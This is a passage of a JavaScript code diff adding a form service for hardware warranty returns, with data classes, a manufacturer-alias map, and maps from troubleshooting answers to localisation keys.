|
+
class WarrantySendDataRuleOption {
|
553
|
+
constructor(nodeId, nodeDescription, localizeVar, requiredFields) {
|
554
|
+
this.nodeId = nodeId;
|
555
|
+
this.nodeDescription = nodeDescription;
|
556
|
+
this.localizeVar = localizeVar;
|
557
|
+
this.requiredFields = requiredFields;
|
558
|
+
}
|
559
|
+
}
|
560
|
+
class WarrantySendDataRequiredField {
|
561
|
+
constructor(fieldID, fieldName, fieldValue, optionId) {
|
562
|
+
this.fieldID = fieldID;
|
563
|
+
this.fieldName = fieldName;
|
564
|
+
this.fieldValue = fieldValue;
|
565
|
+
this.optionId = optionId;
|
566
|
+
}
|
567
|
+
}
|
568
|
+
class WarrantySendDataUserContact {
|
569
|
+
constructor(name, role, address, zipCode, city, email, phone) {
|
570
|
+
this.name = name;
|
571
|
+
this.role = role;
|
572
|
+
this.address = address;
|
573
|
+
this.zipCode = zipCode;
|
574
|
+
this.city = city;
|
575
|
+
this.email = email;
|
576
|
+
this.phone = phone;
|
577
|
+
}
|
578
|
+
}
|
579
|
+
class WarrantySendDataInvoice {
|
580
|
+
constructor(customernumber, invoiceAddress, invoiceRef, transportation) {
|
581
|
+
this.customernumber = customernumber;
|
582
|
+
this.invoiceAddress = invoiceAddress;
|
583
|
+
this.invoiceRef = invoiceRef;
|
584
|
+
this.transportation = transportation;
|
585
|
+
}
|
586
|
+
}
|
587
|
+
class WarrantySendDataFile {
|
588
|
+
constructor(name, Image) {
|
589
|
+
this.name = name;
|
590
|
+
this.Image = Image;
|
591
|
+
}
|
592
|
+
}
|
593
|
+
class CaseResponse {
|
594
|
+
constructor(caseId, caseNumber, caseSource) {
|
595
|
+
this.caseId = caseId;
|
596
|
+
this.caseNumber = caseNumber;
|
597
|
+
this.caseSource = caseSource;
|
598
|
+
}
|
599
|
+
}
|
600
|
+
|
601
|
+
class FormComponentService {
|
602
|
+
constructor() {
|
603
|
+
this.productManufacturerAliases = {
|
604
|
+
"acer": "acer",
|
605
|
+
"apple inc.": "apple",
|
606
|
+
"apple norge": "apple",
|
607
|
+
"iphone": "apple",
|
608
|
+
"apple iphone låst": "apple",
|
609
|
+
"apple iphone": "apple",
|
610
|
+
"apple": "apple",
|
611
|
+
"asustek computer inc.": "asus",
|
612
|
+
"asustor": "asus",
|
613
|
+
"asuscom": "asus",
|
614
|
+
"asustek computer": "asus",
|
615
|
+
"asus": "asus",
|
616
|
+
"asustek": "asus",
|
617
|
+
"canon": "canon",
|
618
|
+
"dell computer corporation": "dell",
|
619
|
+
"dell wyse": "dell",
|
620
|
+
"dell emc": "dell",
|
621
|
+
"dell inc.": "dell",
|
622
|
+
"dell monitor": "dell",
|
623
|
+
"dell computer": "dell",
|
624
|
+
"dell": "dell",
|
625
|
+
"fujitsu siemens": "fujitsu",
|
626
|
+
"fujitsu-si": "fujitsu",
|
627
|
+
"fujitsu-siemens": "fujitsu",
|
628
|
+
"fujitsu technology solutions": "fujitsu",
|
629
|
+
"fujitsu": "fujitsu",
|
630
|
+
"hpent": "hp",
|
631
|
+
"hp image & printing (poistuu käytöstä 31.7.)": "hp",
|
632
|
+
"hp- ja hewlett-packard -varaosat (eet)": "hp",
|
633
|
+
"hpe": "hp",
|
634
|
+
"hp-supplies (värikasetit)": "hp",
|
635
|
+
"hp varaosat (eet...)": "hp",
|
636
|
+
"hewlet-packard": "hp",
|
637
|
+
"hewlett-packard prime": "hp",
|
638
|
+
"hewlett packard": "hp",
|
639
|
+
"hp-varaosat (hp- ja hewlett-packard) eet": "hp",
|
640
|
+
"hewlett-packard spareparts": "hp",
|
641
|
+
"hewlett-packard oy (1.8: hp finland oy) (hp inc.)": "hp",
|
642
|
+
"hp ent": "hp",
|
643
|
+
"hewlett-packard vsi/prime": "hp",
|
644
|
+
"hp image & printing": "hp",
|
645
|
+
"hewlett-packard oy (hewlett packard enterprise)": "hp",
|
646
|
+
"hp inc": "hp",
|
647
|
+
"hewlett packard enterprise": "hp",
|
648
|
+
"hewlett-packard enterprise": "hp",
|
649
|
+
"hp- ja hpe-varaosat eet": "hp",
|
650
|
+
"hewlett-packard oy": "hp",
|
651
|
+
"hp": "hp",
|
652
|
+
"hp finland oy (hp inc.)": "hp",
|
653
|
+
"hp inc.": "hp",
|
654
|
+
"hewlett-packard": "hp",
|
655
|
+
"gn group / jabra": "jabra",
|
656
|
+
"jabra": "jabra",
|
657
|
+
"reused lenovo": "lenovo",
|
658
|
+
"signagelenovo": "lenovo",
|
659
|
+
"lenovo (älä käytä !!) spareparts": "lenovo",
|
660
|
+
"lenovo x": "lenovo",
|
661
|
+
"...lenovo topseller": "lenovo",
|
662
|
+
"lenovo spareparts": "lenovo",
|
663
|
+
"lenovo topseller": "lenovo",
|
664
|
+
"lenovo-ts": "lenovo",
|
665
|
+
"lenovo": "lenovo",
|
666
|
+
"logitech": "logitech",
|
667
|
+
"microsoft corporation": "microsoft",
|
668
|
+
"microsoft hw": "microsoft",
|
669
|
+
"microsoft": "microsoft",
|
670
|
+
"nokia": "nokia",
|
671
|
+
"philips consumer electronics company": "philips",
|
672
|
+
"philips": "philips",
|
673
|
+
"plantronics": "plantronics",
|
674
|
+
"samsung": "samsung"
|
675
|
+
};
|
676
|
+
}
|
677
|
+
getQuestionsForPreview(country) {
|
678
|
+
return new Map([
|
679
|
+
[RuleOptionEnum.ruleOptWorking, country === CountriesEnum.SE ? "wf.workedonarrivalSE" : "wf.workedonarrival"],
|
680
|
+
[RuleOptionEnum.projectorOnScreenYes, "wf.appearsOnScreen"],
|
681
|
+
[RuleOptionEnum.projectorOnScreenNo, "wf.appearsOnScreen"],
|
682
|
+
[RuleOptionEnum.cargoNeedRepair, "wf.providerepairoptions"],
|
683
|
+
[RuleOptionEnum.cargoNoNeedRepair, "wf.providerepairoptions"],
|
684
|
+
[RuleOptionEnum.phoneFMIOff, "wf.hasdeactivatedfmi"],
|
685
|
+
[RuleOptionEnum.phoneFMIOn, "wf.hasdeactivatedfmi"],
|
686
|
+
[RuleOptionEnum.phoneFMIOffv2, "wf.hasdeactivatedfmi"],
|
687
|
+
[RuleOptionEnum.phoneFMIOnv2, "wf.hasdeactivatedfmi"],
|
688
|
+
[RuleOptionEnum.printerMechNoise, "wf.describeSound"],
|
689
|
+
[RuleOptionEnum.printerGrindNoise, "wf.describeSound"],
|
690
|
+
[RuleOptionEnum.printerCreakNoise, "wf.describeSound"],
|
691
|
+
[RuleOptionEnum.printerSoundOther, "wf.describeSound"],
|
692
|
+
[RuleOptionEnum.printerFeeder, "wf.originsOfIssue"],
|
693
|
+
[RuleOptionEnum.printerTray, "wf.originsOfIssue"],
|
694
|
+
[RuleOptionEnum.printerInMachine, "wf.originsOfIssue"],
|
695
|
+
[RuleOptionEnum.printerOriginOther, "wf.originsOfIssue"],
|
696
|
+
[RuleOptionEnum.printerScStriped, "wf.describeScanning"],
|
697
|
+
[RuleOptionEnum.printerScBlurred, "wf.describeScanning"],
|
698
|
+
[RuleOptionEnum.printerScFaded, "wf.describeScanning"],
|
699
|
+
[RuleOptionEnum.printerStriped, "wf.describePrinting"],
|
700
|
+
[RuleOptionEnum.printerBlurred, "wf.describePrinting"],
|
701
|
+
[RuleOptionEnum.printerFaded, "wf.describePrinting"],
|
702
|
+
[RuleOptionEnum.printerPrintYes, "wf.issueWhenPrinting"],
|
703
|
+
[RuleOptionEnum.printerPrintNo, "wf.issueWhenPrinting"],
|
704
|
+
[RuleOptionEnum.printerScanYes, "wf.issueWhenScanning"],
|
705
|
+
[RuleOptionEnum.printerScanNo, "wf.issueWhenScanning"],
|
706
|
+
[RuleOptionEnum.ruleoptNoCostProp, "wf.acceptcostproposal"],
|
707
|
+
[RuleOptionEnum.ruleoptCostProp, "wf.acceptcostproposal"],
|
708
|
+
[RuleOptionEnum.ruleOptWunDmgd, "wf.hasphysicaldamage"],
|
709
|
+
[RuleOptionEnum.ruleOptWDmgd, "wf.hasphysicaldamage"],
|
710
|
+
[RuleOptionEnum.packageNotDamaged, "wf.packageCondition"],
|
711
|
+
[RuleOptionEnum.packageDamaged, "wf.packageCondition"],
|
712
|
+
[RuleOptionEnum.externalMonitorNo, "wf.triedExternalMonitor"],
|
713
|
+
[RuleOptionEnum.externalMonitorYes, "wf.triedExternalMonitor"],
|
714
|
+
[RuleOptionEnum.externalKeyboardYes, "wf.triedExternalKeyboard"],
|
715
|
+
[RuleOptionEnum.externalKeyboardNo, "wf.triedExternalKeyboard"],
|
716
|
+
[RuleOptionEnum.waybillYes, "wf.hasmaderemarks"],
|
717
|
+
[RuleOptionEnum.waybillNo, "wf.hasmaderemarks"],
|
718
|
+
[RuleOptionEnum.externalMouseNo, "wf.triedExternalMouse"],
|
719
|
+
[RuleOptionEnum.externalMouseYes, "wf.triedExternalMouse"],
|
720
|
+
[RuleOptionEnum.orderedReplcNo, "wf.hasorderedreplc"],
|
721
|
+
[RuleOptionEnum.orderedReplc, "wf.hasorderedreplc"],
|
722
|
+
[RuleOptionEnum.dockingAnotherPCYes, "wf.testedwithanotherpc"],
|
723
|
+
[RuleOptionEnum.dockingAnotherPCNo, "wf.testedwithanotherpc"],
|
724
|
+
[RuleOptionEnum.dockingCableYes, "wf.testedwithanothercable"],
|
725
|
+
[RuleOptionEnum.dockingCableNo, "wf.testedwithanothercable"],
|
726
|
+
[RuleOptionEnum.dockingCableYesv2, "wf.testedwithanothercable"],
|
727
|
+
[RuleOptionEnum.dockingCableNov2, "wf.testedwithanothercable"],
|
728
|
+
[RuleOptionEnum.dockingCableYesv3, "wf.testedwithanothercable"],
|
729
|
+
[RuleOptionEnum.dockingCableNov3, "wf.testedwithanothercable"],
|
730
|
+
[RuleOptionEnum.dockingCableYesv4, "wf.testedwithanothercable"],
|
731
|
+
[RuleOptionEnum.dockingCableNov4, "wf.testedwithanothercable"],
|
732
|
+
[RuleOptionEnum.dockingBIOSYes, "wf.haveupdatedbios"],
|
733
|
+
[RuleOptionEnum.dockingBIOSNo, "wf.haveupdatedbios"],
|
734
|
+
[RuleOptionEnum.dockingCompatibleYes, "wf.isdockingcompatible"],
|
735
|
+
[RuleOptionEnum.dockingCompatibleNo, "wf.isdockingcompatible"],
|
736
|
+
[RuleOptionEnum.dockingUsedYes, "wf.firsttimeusing"],
|
737
|
+
[RuleOptionEnum.dockingUsedNo, "wf.firsttimeusing"],
|
738
|
+
[RuleOptionEnum.diagnosticsYes, "wf.triedanotherpowersupply"],
|
739
|
+
[RuleOptionEnum.diagnosticsNo, "wf.triedanotherpowersupply"],
|
740
|
+
[RuleOptionEnum.dockingSupplyYes, "wf.triedanotherpowersupply"],
|
741
|
+
[RuleOptionEnum.dockingSupplyNo, "wf.triedanotherpowersupply"],
|
742
|
+
[RuleOptionEnum.workedOnDelivery, "wf.workedondelivery"],
|
743
|
+
[RuleOptionEnum.notWorkOnDelivery, "wf.workedondelivery"],
|
744
|
+
[RuleOptionEnum.createOrderYes, "wf.shouldCreateOrder"],
|
745
|
+
[RuleOptionEnum.createOrderNo, "wf.shouldCreateOrder"],
|
746
|
+
[RuleOptionEnum.cargoPicturesTaken, "wf.picturestaken"],
|
747
|
+
[RuleOptionEnum.cargoReportNotTaken, "wf.picturestaken"],
|
748
|
+
[RuleOptionEnum.cargoGoodsAvailable, "wf.goodsavailable"],
|
749
|
+
[RuleOptionEnum.cargoGoodsNAvailable, "wf.goodsavailable"],
|
750
|
+
[RuleOptionEnum.appleCareIncluded, "wf.appleCareRegistered"],
|
751
|
+
[RuleOptionEnum.appleCareNotIncluded, "wf.appleCareRegistered"],
|
752
|
+
[RuleOptionEnum.visibleDmgYes, "wf.isdmgvisible"],
|
753
|
+
[RuleOptionEnum.visibleDmgNo, "wf.isdmgvisible"],
|
754
|
+
[RuleOptionEnum.recIssueYes, "wf.isRecurringIssue"],
|
755
|
+
[RuleOptionEnum.recIssueNo, "wf.isRecurringIssue"],
|
756
|
+
[RuleOptionEnum.triedChargerYes, "wf.triedAnotherCharger"],
|
757
|
+
[RuleOptionEnum.triedChargerNo, "wf.triedAnotherCharger"],
|
758
|
+
[RuleOptionEnum.smallpcOtherChrgYes, "wf.triedAnotherCharger"],
|
759
|
+
[RuleOptionEnum.smallpcOtherChrgNo, "wf.triedAnotherCharger"],
|
760
|
+
[RuleOptionEnum.updatedDriversYes, "wf.triedUpdatingDrivers"],
|
761
|
+
[RuleOptionEnum.updatedDriversNo, "wf.triedUpdatingDrivers"],
|
762
|
+
[RuleOptionEnum.smallpcDriversUpYes, "wf.triedUpdatingDrivers"],
|
763
|
+
[RuleOptionEnum.smallpcDriversUpNo, "wf.triedUpdatingDrivers"],
|
764
|
+
[RuleOptionEnum.applePhoneSoftUpYes, "wf.triedUpdatingDrivers"],
|
765
|
+
[RuleOptionEnum.applePhoneSoftUpNo, "wf.triedUpdatingDrivers"],
|
766
|
+
[RuleOptionEnum.completeCareInc, "wf.completeCareRegistered"],
|
767
|
+
[RuleOptionEnum.completeCareNotInc, "wf.completeCareRegistered"],
|
768
|
+
[RuleOptionEnum.speakerSoftwareYes, "wf.triedUpdatingDevice"],
|
769
|
+
[RuleOptionEnum.speakerSoftwareNo, "wf.triedUpdatingDevice"],
|
770
|
+
[RuleOptionEnum.speakerSoftwareYesv2, "wf.triedUpdatingDevice"],
|
771
|
+
[RuleOptionEnum.speakerSoftwareNov2, "wf.triedUpdatingDevice"],
|
772
|
+
[RuleOptionEnum.projectorSocketYes, "wf.isconnectionviaoutlet"],
|
773
|
+
[RuleOptionEnum.projectorSocketNo, "wf.isconnectionviaoutlet"],
|
774
|
+
[RuleOptionEnum.projectorOutletYes, "wf.triedbypassingwalloutlet"],
|
775
|
+
[RuleOptionEnum.projectorOutletNo, "wf.triedbypassingwalloutlet"],
|
776
|
+
[RuleOptionEnum.speakerSourceYes, "wf.testedWithAnotherSource"],
|
777
|
+
[RuleOptionEnum.speakerSourceNo, "wf.testedWithAnotherSource"],
|
778
|
+
[RuleOptionEnum.projectorSourceYes, "wf.testedWithAnotherSource"],
|
779
|
+
[RuleOptionEnum.projectorSourceNo, "wf.testedWithAnotherSource"],
|
780
|
+
[RuleOptionEnum.speakerCableYes, "wf.triedAnotherCable"],
|
781
|
+
[RuleOptionEnum.speakerCableNo, "wf.triedAnotherCable"],
|
782
|
+
[RuleOptionEnum.adpIncluded, "wf.adpCareRegistered"],
|
783
|
+
[RuleOptionEnum.adpNotIncluded, "wf.adpCareRegistered"],
|
784
|
+
[RuleOptionEnum.tppIncluded, "wf.tppCareRegistered"],
|
785
|
+
[RuleOptionEnum.tppNotIncluded, "wf.tppCareRegistered"],
|
786
|
+
[RuleOptionEnum.depRegistered, "wf.depRegistered"],
|
787
|
+
[RuleOptionEnum.depNotRegistered, "wf.depRegistered"]
|
788
|
+
]);
|
789
|
+
}
|
790
|
+
getQuestions() {
|
791
|
+
return new Map([
|
792
|
+
[RuleOptionEnum.ruleOptDOA, "wf.hasphysicaldamage"],
|
793
|
+
[RuleOptionEnum.ruleOptWorking, "wf.hasphysicaldamage"],
|
794
|
+
[RuleOptionEnum.ruleOptWDmgd, "wf.acceptcostproposal"],
|
795
|
+
[RuleOptionEnum.appleCareNotIncluded, "wf.acceptcostproposal"],
|
796
|
+
[RuleOptionEnum.completeCareNotInc, "wf.acceptcostproposal"],
|
797
|
+
[RuleOptionEnum.tppNotIncluded, "wf.acceptcostproposal"],
|
798
|
+
[RuleOptionEnum.adpNotIncluded, "wf.acceptcostproposal"],
|
799
|
+
[RuleOptionEnum.ruleOptWunDmgd, "wf.issuewithproduct"],
|
800
|
+
[RuleOptionEnum.packageDamaged, "wf.hasmaderemarks"],
|
801
|
+
[RuleOptionEnum.projectorNoise, "wf.appearsOnScreen"],
|
802
|
+
[RuleOptionEnum.projectorAudioQ, "wf.appearsOnScreen"],
|
803
|
+
[RuleOptionEnum.dockingCableYesv2, "wf.triedanotherpowersupply"],
|
804
|
+
[RuleOptionEnum.dockingCableNov2, "wf.triedanotherpowersupply"],
|
805
|
+
[RuleOptionEnum.speakerSourceYes, "wf.testedwithanothercable"],
|
806
|
+
[RuleOptionEnum.speakerSourceNo, "wf.testedwithanothercable"],
|
807
|
+
[RuleOptionEnum.speakerSoftwareYes, "wf.testedwithanothercable"],
|
808
|
+
[RuleOptionEnum.speakerSoftwareNo, "wf.testedwithanothercable"],
|
809
|
+
[RuleOptionEnum.dockingAnotherPCYes, "wf.testedwithanothercable"],
|
810
|
+
[RuleOptionEnum.dockingAnotherPCNo, "wf.testedwithanothercable"],
|
811
|
+
[RuleOptionEnum.portNotWorking, "wf.testedwithanothercable"],
|
812
|
+
[RuleOptionEnum.dockingCableYesv3, "wf.haveupdatedbios"],
|
813
|
+
[RuleOptionEnum.dockingCableNov3, "wf.haveupdatedbios"],
|
814
|
+
[RuleOptionEnum.dockingCompatibleYes, "wf.haveupdatedbios"],
|
815
|
+
[RuleOptionEnum.dockingCompatibleNo, "wf.haveupdatedbios"],
|
816
|
+
[RuleOptionEnum.dockingNoConnection, "wf.testedwithanotherpc"],
|
817
|
+
[RuleOptionEnum.dockingDead, "wf.testedwithanotherpc"],
|
818
|
+
[RuleOptionEnum.dockingPixel, "wf.testedwithanotherpc"],
|
819
|
+
[RuleOptionEnum.dockingPhysical, "wf.testedwithanotherpc"],
|
820
|
+
[RuleOptionEnum.dockingConIssues, "wf.testedwithanotherpc"],
|
821
|
+
[RuleOptionEnum.dockingCableYes, "wf.firsttimeusing"],
|
822
|
+
[RuleOptionEnum.dockingCableNo, "wf.firsttimeusing"],
|
823
|
+
[RuleOptionEnum.dockingCableYesv4, "wf.firsttimeusing"],
|
824
|
+
[RuleOptionEnum.dockingCableNov4, "wf.firsttimeusing"],
|
825
|
+
[RuleOptionEnum.dockingUsedYes, "wf.isdockingcompatible"],
|
826
|
+
[RuleOptionEnum.dockingUsedNo, "wf.isdockingcompatible"],
|
827
|
+
[RuleOptionEnum.projectorSocketYes, "wf.triedbypassingwalloutlet"],
|
828
|
+
[RuleOptionEnum.projectorSocketNo, "wf.triedbypassingwalloutlet"],
|
829
|
+
[RuleOptionEnum.projectorSourceYes, "wf.isconnectionviaoutlet"],
|
830
|
+
[RuleOptionEnum.projectorSourceNo, "wf.isconnectionviaoutlet"],
|
831
|
+
[RuleOptionEnum.speakerUnstable, "wf.triedUpdatingSoftware"],
|
832
|
+
[RuleOptionEnum.speakerConnection, "wf.triedUpdatingSoftware"],
|
833
|
+
[RuleOptionEnum.phoneFMIOn, "wf.triedUpdatingSoftware"],
|
834
|
+
[RuleOptionEnum.phoneFMIOff, "wf.triedUpdatingSoftware"],
|
835
|
+
[RuleOptionEnum.phoneSoftware, "wf.triedUpdatingSoftware"],
|
836
|
+
[RuleOptionEnum.packageNotDamaged, "wf.workedondelivery"],
|
837
|
+
[RuleOptionEnum.waybillYes, "wf.hasorderedreplc"],
|
838
|
+
[RuleOptionEnum.waybillNo, "wf.hasorderedreplc"],
|
839
|
+
[RuleOptionEnum.printerPaperStuck, "wf.originsOfIssue"],
|
840
|
+
[RuleOptionEnum.printerScanning, "wf.describeScanning"],
|
841
|
+
[RuleOptionEnum.printerQuality, "wf.describePrinting"],
|
842
|
+
[RuleOptionEnum.printerStriped, "wf.issuesWithScanning"],
|
843
|
+
[RuleOptionEnum.printerBlurred, "wf.issuesWithScanning"],
|
844
|
+
[RuleOptionEnum.printerFaded, "wf.issuesWithScanning"],
|
845
|
+
[RuleOptionEnum.printerScStriped, "wf.issuesWithPrinting"],
|
846
|
+
[RuleOptionEnum.printerScBlurred, "wf.issuesWithPrinting"],
|
847
|
+
[RuleOptionEnum.printerScFaded, "wf.issuesWithPrinting"],
|
848
|
+
[RuleOptionEnum.printerNoises, "wf.originsOfSound"],
|
849
|
+
[RuleOptionEnum.printerFeeder, "wf.describeSound"],
|
850
|
+
[RuleOptionEnum.printerTray, "wf.describeSound"],
|
851
|
+
[RuleOptionEnum.printerInMachine, "wf.describeSound"],
|
852
|
+
[RuleOptionEnum.printerSoundOther, "wf.describeSound"],
|
853
|
+
[RuleOptionEnum.pcFan, "wf.hasCmpltDiagnostics"],
|
854
|
+
[RuleOptionEnum.pcCharge, "wf.hasCmpltDiagnostics"],
|
855
|
+
[RuleOptionEnum.pcKeyboard, "wf.triedExternalKeyboard"],
|
856
|
+
[RuleOptionEnum.diagnosticsYes, "wf.triedAnotherCharger"],
|
857
|
+
[RuleOptionEnum.diagnosticsNo, "wf.triedAnotherCharger"],
|
858
|
+
[RuleOptionEnum.smallpcCharge, "wf.triedAnotherCharger"],
|
859
|
+
[RuleOptionEnum.pcTouchpad, "wf.triedUpdatingDrivers"],
|
860
|
+
[RuleOptionEnum.pcWifi, "wf.triedUpdatingDrivers"],
|
861
|
+
[RuleOptionEnum.pcLanCard, "wf.triedUpdatingDrivers"],
|
862
|
+
[RuleOptionEnum.smallpcNoConnection, "wf.triedUpdatingDrivers"],
|
863
|
+
[RuleOptionEnum.smallpcNoAudio, "wf.triedUpdatingDrivers"],
|
864
|
+
[RuleOptionEnum.smallpcBadQuality, "wf.triedUpdatingDrivers"],
|
865
|
+
[RuleOptionEnum.smallpcPairing, "wf.triedUpdatingDrivers"],
|
866
|
+
[RuleOptionEnum.updatedDriversNo, "wf.triedExternalMouse"],
|
867
|
+
[RuleOptionEnum.updatedDriversYes, "wf.triedExternalMouse"],
|
868
|
+
[RuleOptionEnum.applePhoneScreen, "wf.hasdeactivatedfmi"],
|
869
|
+
[RuleOptionEnum.applePhoneBackside, "wf.hasdeactivatedfmi"],
|
870
|
+
[RuleOptionEnum.pcBlackscreenSpecial, "wf.triedExternalMonitor"],
|
871
|
+
[RuleOptionEnum.pcDead, "wf.hasPressedReset"],
|
872
|
+
[RuleOptionEnum.pcBlackscreen, "wf.hasPressedReset"],
|
873
|
+
[RuleOptionEnum.pcFreeze, "wf.hasPressedReset"],
|
874
|
+
[RuleOptionEnum.orderedReplcNo, "wf.shouldCreateOrder"],
|
875
|
+
[RuleOptionEnum.depNotRegistered, "wf.workedonarrival"],
|
876
|
+
[RuleOptionEnum.depRegistered, "wf.workedonarrival"],
|
877
|
+
[RuleOptionEnum.workedOnDelivery, "wf.selectErrorType"],
|
878
|
+
[RuleOptionEnum.notWorkOnDelivery, "wf.selectErrorType"],
|
879
|
+
[RuleOptionEnum.cargoNeedRepair, "wf.selectErrorType"]
|
880
|
+
]);
|
881
|
+
}
|
882
|
+
getFormControlName(type, name) {
|
883
|
+
return type === FieldTypeEnum.invoiceInfo ? "returnHardware-invoiceInformation" : "returnHardware-" + name;
|
884
|
+
}
|
885
|
+
getFieldOrderNumber(type) {
|
886
|
+
const typeEnum = type;
|
887
|
+
switch (typeEnum) {
|
888
|
+
case FieldTypeEnum.insuranceCheckbox:
|
889
|
+
case FieldTypeEnum.inputCheckbox:
|
890
|
+
return 1;
|
891
|
+
case FieldTypeEnum.invoiceInfo:
|
892
|
+
return 2;
|
893
|
+
case FieldTypeEnum.inputText:
|
894
|
+
return 3;
|
895
|
+
case FieldTypeEnum.textarea:
|
896
|
+
return 4;
|
897
|
+
case FieldTypeEnum.inputFile:
|
898
|
+
return 5;
|
899
|
+
default:
|
900
|
+
return 6;
|
901
|
+
}
|
902
|
+
}
|
903
|
+
getFieldLocale(infoForm, f, warrantyData) {
|
904
|
+
const typeEnum = f.type;
|
905
|
+
if (typeEnum === FieldTypeEnum.insuranceCheckbox) {
|
906
|
+
const selectedVendor = warrantyData.getVendorByCode(infoForm.value.vendor);
|
907
|
+
return `${selectedVendor.vendorName}-insurance`.toLowerCase();
|
908
|
+
}
|
909
|
+
return f.locale;
|
910
|
+
}
|
911
|
+
getPlaceholderText(caseType, localizeVar, ruleOptions, allRuleOptions) {
|
912
|
+
let placeholderText = 'wf.reasonproductreturn';
|
913
|
+
switch (localizeVar) {
|
914
|
+
case RuleOptionEnum.purchaseErrorDK:
|
915
|
+
case RuleOptionEnum.notWorkOnDelivery:
|
916
|
+
case RuleOptionEnum.discoveredWhenOpened:
|
917
|
+
case RuleOptionEnum.cargoGoodsAvailable:
|
918
|
+
placeholderText = 'wf.conditionQuestion';
|
919
|
+
break;
|
920
|
+
}
|
921
|
+
if (caseType === CaseTypeEnum.WarrantyRepair) {
|
922
|
+
const placeholder = this.getPlaceholderTextByRuleOptionsReason(ruleOptions);
|
923
|
+
if (placeholder.success)
|
924
|
+
placeholderText = placeholder.text;
|
925
|
+
else {
|
926
|
+
const questions = this.getQuestions();
|
927
|
+
if (questions.has(localizeVar)) {
|
928
|
+
placeholderText = questions.get(localizeVar);
|
929
|
+
}
|
930
|
+
else if (this.ruleOptionsHasRuleOptions(ruleOptions, allRuleOptions) !== false)
|
931
|
+
placeholderText = 'wf.selectsubcategory';
|
932
|
+
else
|
933
|
+
placeholderText = 'wf.selectoptions';
|
934
|
+
}
|
935
|
+
}
|
936
|
+
return placeholderText;
|
937
|
+
}
|
938
|
+
getPlaceholderTextByRuleOptionsReason(ruleOptions) {
|
939
|
+
for (let o of ruleOptions) {
|
940
|
+
switch (o.localizeVar) {
|
941
|
+
case RuleOptionEnum.cargoNeedRepair:
|
942
|
+
case RuleOptionEnum.cargoNoNeedRepair:
|
943
|
+
return { success: true, text: 'wf.providerepairoptions' };
|
944
|
+
case RuleOptionEnum.orderedReplc:
|
945
|
+
case RuleOptionEnum.orderedReplcNo:
|
946
|
+
return { success: true, text: 'wf.hasorderedrepic' };
|
947
|
+
case RuleOptionEnum.cargoGoodsAvailable:
|
948
|
+
case RuleOptionEnum.cargoGoodsNAvailable:
|
949
|
+
return { success: true, text: 'wf.availableforinspection' };
|
950
|
+
case RuleOptionEnum.cargoPicturesTaken:
|
951
|
+
case RuleOptionEnum.cargoReportNotTaken:
|
952
|
+
return { success: true, text: 'wf.isdamagesettled' };
|
953
|
+
case RuleOptionEnum.appleCareIncluded:
|
954
|
+
case RuleOptionEnum.appleCareNotIncluded:
|
955
|
+
return { success: true, text: 'wf.appleCare' };
|
956
|
+
case RuleOptionEnum.visibleDmgYes:
|
957
|
+
case RuleOptionEnum.visibleDmgNo:
|
958
|
+
return { success: true, text: 'wf.isdmgvisible' };
|
959
|
+
case RuleOptionEnum.phoneFMIOn:
|
960
|
+
case RuleOptionEnum.phoneFMIOff:
|
961
|
+
return { success: true, text: 'wf.hasdeactivatedfmi' };
|
962
|
+
case RuleOptionEnum.recIssueYes:
|
963
|
+
case RuleOptionEnum.recIssueNo:
|
964
|
+
return { success: true, text: 'wf.isRecurringIssue' };
|
965
|
+
case RuleOptionEnum.speakerSourceYes:
|
966
|
+
case RuleOptionEnum.speakerSourceNo:
|
967
|
+
case RuleOptionEnum.projectorSourceYes:
|
968
|
+
case RuleOptionEnum.projectorSourceNo:
|
969
|
+
return { success: true, text: 'wf.testedwithanothersource' };
|
970
|
+
case RuleOptionEnum.speakerCableYes:
|
971
|
+
case RuleOptionEnum.speakerCableNo:
|
972
|
+
return { success: true, text: 'wf.testedwithanothercable' };
|
973
|
+
case RuleOptionEnum.completeCareInc:
|
974
|
+
case RuleOptionEnum.completeCareNotInc:
|
975
|
+
return { success: true, text: 'wf.completeCare' };
|
976
|
+
case RuleOptionEnum.adpIncluded:
|
977
|
+
case RuleOptionEnum.adpNotIncluded:
|
978
|
+
return { success: true, text: 'wf.adpCare' };
|
979
|
+
case RuleOptionEnum.tppIncluded:
|
980
|
+
case RuleOptionEnum.tppNotIncluded:
|
981
|
+
return { success: true, text: 'wf.tppCare' };
|
982
|
+
default:
|
983
|
+
break;
|
984
|
+
}
|
985
|
+
}
|
986
|
+
return { success: false, text: '' };
|
987
|
+
}
|
988
|
+
;
|
989
|
+
ruleOptionsHasRuleOptions(ruleOptions, allRuleOptions) {
|
990
|
+
for (let o of ruleOptions) {
|
991
|
+
if (this.hasChilds(o, allRuleOptions)) {
|
992
|
+
return true;
|
993
|
+
}
|
994
|
+
}
|
995
|
+
return false;
|
996
|
+
}
|
997
|
+
filterRuleOptions(reason, ruleOptions) {
|
998
|
+
const options = ruleOptions.filter(o => o.parentId === reason.nodeId && o.ruleId === reason.ruleId);
|
999
|
+
return this.sortOutRules(options);
|
1000
|
+
}
|
1001
|
+
sortOutRules(options) {
|
1002
|
+
if ((options === null || options === void 0 ? void 0 : options.length) > 0) {
|
1003
|
+
for (let o of options) {
|
1004
|
+
switch (o.localizeVar) {
|
1005
|
+
case RuleOptionEnum.ruleOptDOA:
|
1006
|
+
case RuleOptionEnum.ruleOptWorking:
|
1007
|
+
return this.unshiftRuleOption(options, RuleOptionEnum.ruleOptWorking);
|
1008
|
+
case RuleOptionEnum.ruleOptWDmgd:
|
1009
|
+
case RuleOptionEnum.ruleOptWunDmgd:
|
1010
|
+
return this.unshiftRuleOption(options, RuleOptionEnum.ruleOptWunDmgd);
|
1011
|
+
}
|
1012
|
+
}
|
1013
|
+
}
|
1014
|
+
return options;
|
1015
|
+
}
|
1016
|
+
unshiftRuleOption(ruleOptions, option) {
|
1017
|
+
if ((ruleOptions === null || ruleOptions === void 0 ? void 0 : ruleOptions.length) > 0) {
|
1018
|
+
const movedItem = ruleOptions.find(o => o.localizeVar === option);
|
1019
|
+
const filteredArray = ruleOptions.filter(o => o.localizeVar !== option);
|
1020
|
+
if (movedItem) {
|
1021
|
+
filteredArray.unshift(movedItem);
|
1022
|
+
return filteredArray;
|
1023
|
+
}
|
1024
|
+
}
|
1025
|
+
return ruleOptions;
|
1026
|
+
}
|
1027
|
+
;
|
1028
|
+
hasChilds(item, options) {
|
1029
|
+
if (item) {
|
1030
|
+
const nodes = options.filter(o => item.nodeId === o.parentId && item.ruleId === o.ruleId);
|
1031
|
+
return (nodes === null || nodes === void 0 ? void 0 : nodes.length) > 0;
|
1032
|
+
}
|
1033
|
+
return false;
|
1034
|
+
}
|
1035
|
+
